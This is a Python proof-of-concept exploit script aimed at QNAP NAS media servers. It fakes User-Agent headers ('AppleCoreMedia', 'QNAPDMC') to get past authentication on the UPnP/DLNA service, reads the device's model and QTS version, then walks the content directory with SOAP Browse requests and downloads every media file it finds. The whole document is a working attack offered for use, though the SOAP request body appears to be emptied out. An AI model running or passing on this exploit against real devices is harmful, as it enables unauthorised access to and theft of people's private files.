#!/usr/bin/python3 # POC.py import requests import html, os, time import xml.etree.ElementTree as ET import argparse from xml.dom.minidom import parseString #from tqdm import tqdm log = lambda x: print("\033[31m[+]" + "\033[37m"+x) HOST = 'http://{0}:{1}' session = requests.Session() auth_bypass_header= {"User-Agent": "AppleCoreMedia"} auth_post_bypass_header= {"User-Agent": "QNAPDMC"} def makedirs(path): if not os.path.exists(path): os.makedirs(path) # # GET TARGET INFO # def get_rootDesc(sess:requests.Session): res = sess.get(url=f"{HOST}/rootDesc.xml", headers=auth_bypass_header) obj = parseString(html.unescape(res.text)) NAME = obj.getElementsByTagName('friendlyName')[0].firstChild.nodeValue MODEL = obj.getElementsByTagName('av:MODEL')[0].firstChild.nodeValue VERSION = obj.getElementsByTagName('av:VERSION')[0].firstChild.nodeValue log(f"TARGET NAME: {NAME}") log(f"TARGET MODEL: {MODEL}") log(f"TARGET QTS VERSION: {VERSION}") # # This Function Search Directory And Download All Files # def exploit(sess:requests.Session): header = auth_post_bypass_header.copy() header['Soapaction'] = "urn:schemas-upnp-org:service:ContentDirectory:1:#Browse" pay = """""" pay += """""" pay += """""" pay += """{1}""" pay += """BrowseDirectChildren""" pay += """""" res = sess.post(url=HOST, headers=header, data=pay.format(0, 0)) obj = parseString(html.unescape(res.text)) element = obj.getElementsByTagName('container') keys1 = {} for ee in element: dir_name = ee.getElementsByTagName("dc:title")[0].firstChild.nodeValue log(f"FIND: {dir_name}") keys1[dir_name] = ee.getAttribute("id") keys2 = [] for k,v in keys1.items(): res = sess.post(url=f"{HOST}", headers=header, data=pay.format(v, v)) obj = parseString(html.unescape(res.text)) element = obj.getElementsByTagName('container') for ee in element: dir_name = ee.getElementsByTagName("dc:title")[0].firstChild.nodeValue #log(f"FIND: {dir_name}") keys2.append([v, dir_name, ee.getAttribute("id")]) keys3 = [] for k in keys2: res = sess.post(url=f"{HOST}", headers=header, data=pay.format(1, k[-1])) obj = parseString(html.unescape(res.text)) element = obj.getElementsByTagName('container') for ee in element: file_name = ee.getElementsByTagName("dc:title")[0].firstChild.nodeValue #log(f"FIND: {file_name}") keys3.append([v, file_name, ee.getAttribute("id")]) keys4 = [] deps_key = [] for k in keys3: res = sess.post(url=f"{HOST}", headers=header, data=pay.format(1, k[-1])) obj = parseString(html.unescape(res.text)) element = obj.getElementsByTagName('item') element2 = obj.getElementsByTagName('container') for ee in element: file_name = ee.getElementsByTagName("dc:title")[0].firstChild.nodeValue #log(f"FIND: {file_name}") url = ee.getElementsByTagName('res')[0].firstChild.nodeValue if 'MediaItems' in url or "Resize" in url or "Transcode" in url: keys4.append([v, file_name, url, url.split("ext=")[1]]) for ee in element2: deps_key.append(ee.getAttribute("id")) for k in deps_key: res = sess.post(url=f"{HOST}", headers=header, data=pay.format(1, k)) obj = parseString(html.unescape(res.text)) element = obj.getElementsByTagName('item') for ee in element: file_name = ee.getElementsByTagName("dc:title")[0].firstChild.nodeValue #log(f"FIND: {file_name}") url = ee.getElementsByTagName('res')[0].firstChild.nodeValue if 'MediaItems' in url or "Resize" in url or "Transcode" in url: keys4.append([v, file_name, url, url.split("ext=")[1]]) makedirs('./Downloaded') for k in keys4: if "Transcode" in k[-2]: k[-2] = k[-2].replace("Transcode", "MediaItems") RETRY = [] for k in keys4: URL = k[-2] res = sess.get(url=URL, headers=auth_bypass_header) if len(res.content) <= 0: RETRY.append([k[1]+k[-1], k[-2]]) log(f'FAILED: {k[1]+k[-1]}') continue with open(f"./Downloaded/{k[1]+k[-1]}", 'wb') as f: f.write(res.content) log(f"SUCCESS DOWNLOAD FILE {k[1]+k[-1]}") for rr in RETRY: res = sess.head(url=rr[1], headers=auth_bypass_header) print(rr[1]) if __name__ == '__main__': parser = argparse.ArgumentParser(description='') parser.add_argument('--target', required=True, help='TRAGET ADDRESS') parser.add_argument('--port', required=False, default='8200', help='TARGET PORT\ndefault value is 8200') args = parser.parse_args() HOST = HOST.format(args.target, args.port) get_rootDesc(session) exploit(session)